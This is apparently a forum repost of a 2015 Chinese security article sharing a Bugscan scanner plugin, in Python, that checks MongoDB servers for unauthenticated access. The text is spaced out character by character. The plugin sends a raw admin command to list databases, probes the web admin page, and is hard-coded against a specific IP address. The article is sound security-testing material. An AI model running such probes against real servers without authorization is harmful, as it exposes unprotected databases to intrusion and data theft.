搜索

[2348] 2015-10-09_【POC】Bugscan扫描插件分享之mongodb未授权访问检测

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2015-10-09_【POC】Bugscan扫描插件分享之mongodb未授权访问检测 【 P O C 】 B u g s c a n 扫 描 插 件 分 享 之 m o n g o d b   未 授 权 访 问 检 测 E 安 全   2 0 1 5 - 1 0 - 0 9 【 新 朋 友 【 新 朋 友 】 点 击 标 题 下 面 蓝 字 「 E 安 全 安 全 」 关 注 【 老 朋 友 老 朋 友 】 点 击 右 上 角 ， 分 享 或 收 藏 本 页 精 彩 内 容 【 公 众 号 公 众 号 】 搜 索 公 众 号 ： E 安 全 安 全 ， 或 者 I D : E A Q a p p m o n g o d b 介 绍 M o n g o   D B   是 目 前 在 I T 行 业 非 常 流 行 的 一 种 非 关 系 型 数 据 库 ( N o S q l ) , 其 灵 活 的 数 据 存 储 方 式 备 受 当 前 I T 从 业 人 员 的 青 睐 。 M o n g o   D B 很 好 的 实 现 了 面 向 对 象 的 思 想 ( O O 思 想 ) , 在 M o n g o   D B 中   每 一 条 记 录 都 是 一 个 D o c u m e n t 对 象 。 M o n g o   D B 最 大 的 优 势 在 于 所 有 的 数 据 持 久 操 作 都 无 需 开 发 人 员 手 动 编 写 S Q L 语 句 , 直 接 调 用 方 法 就 可 以 轻 松 的 实 现 C R U D 操 作 。 M o n g o d b 在 默 认 情 况 下 是 不 需 要 密 码 就 可 以 访 问 的 ， 另 外 在 其 m o n g o d b 端 口 + 1 0 0 0 还 有 w e b 管 理 界 面 。 M o n g o D B   默 认 的 启 动 是 不 验 证 用 户 名 和 密 码 的 , 启 动   M o n g o D B   后 , 可 以 直 接 用   M o n g o D B   连 接   上 来 , 对 所 有 的 库 具 有   r o o t   权 限 。 所 以 启 动 的 时 候 指 定 参 数 , 可 以 阻 止 客 户 端 的 访 问 和 连 接 。 通 过 本 插 件 可 以 对 m o n g o d b 进 行 未 授 权 访 问 检 测 。 # ! / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - # _ _ a u t h o r _ _   =   ' 半 块 西 瓜 皮 ' i m p o r t   s o c k e t d e f   a u d i t ( a r g ) : i p , p o r t   =   a r g i n f o   =   [ ] t r y : s   =   s o c k e t . s o c k e t ( ) s . c o n n e c t ( ( i p , p o r t ) ) s . s e n d ( " x 3 F x 0 0 x 0 0 x 0 0 x 7 E x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x D 4 x 0 7 x 0 0 x 0 0 x 0 4 x 0 0 x 0 0 x 0 0 x 6 1 x 6 4 x 6 D x 6 9 x 6 E x 2 E x 2 4 x 6 3 x 6 D x 6 4 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x F F x F F x F F x F F x 1 8 x 0 0 x 0 0 x 0 0 x 1 0 x 6 C x 6 9 x 7 3 x 7 4 x 4 4 x 6 1 x 7 4 x 6 1 x 6 2 x 6 1 x 7 3 x 6 5 x 7 3 x 0 0 x 0 1 x 0 0 x 0 0 x 0 0 x 0 0 " ) d a t a   =   s . r e c v ( 1 0 2 4 ) i f   ' l o c a l '   i n   d a t a : s e c u r i t y _ h o l e ( " % s : % d "   %   ( i p , p o r t ) ) s . c l o s e ( ) e x c e p t : p a s s u r l   =   ' h t t p : / / % s : % d / '   %   ( i p , p o r t + 1 0 0 0 ) c o d e   , _   , b o d y   , _ , _   =   c u r l . c u r l ( u r l ) i f   c o d e   = =   2 0 0   a n d   ' d b   v e r s i o n '   i n   b o d y : s e c u r i t y _ i n f o ( u r l ) d e f   a s s i g n ( s e r v i c e ,   a r g ) : i f   s e r v i c e   = =   " m o n g o d b " : r e t u r n   T r u e ,   a r g i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : f r o m   d u m m y   i m p o r t   * a u d i t ( a s s i g n ( ' m o n g o d b ' ,   ( ' 5 8 . 2 1 5 . 1 8 5 . 1 5 4 ' , 2 7 0 1 7 ) ) [ 1 ] ) 验 证 图
插 件 详 情 请 点 击 插 件 详 情 请 点 击 阅 读 原 文 阅 读 原 文 希 望 了 解 更 多 可 访 问 希 望 了 解 更 多 可 访 问 b u g s c a n 官 方 社 区 官 方 社 区 圈 子 链 接 圈 子 链 接 h t t p : / / q . b u g s c a n . n e t / 扫 描 平 台 链 接 扫 描 平 台 链 接 h t t p s : / / w w w . b u g s c a n . n e t   关 于 E 安 全 E 安 全 是 国 内 第 一 款 面 向 信 息 安 全 行 业 的 免 费 内 容 分 享 平 台 ， E 安 全 秉 承 “ 掌 握 信 息 安 全 的 专 家 ” 的 分 享 精 神 ， 长 期 提 供 的 免 费 专 业 的 信 息 安 全 课 程 教 学 、 业 内 资 料 、 威 胁 预 警 以 及 最 新 资 讯 ， 为 信 息 安 全 专 业 人 才 的 成 长 提 供 一 个 更 为 便 捷 和 高 效 的 一 站 式 服 务 。 点 击 “ 阅 读 全 文 ” ， 了 解 详 情 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理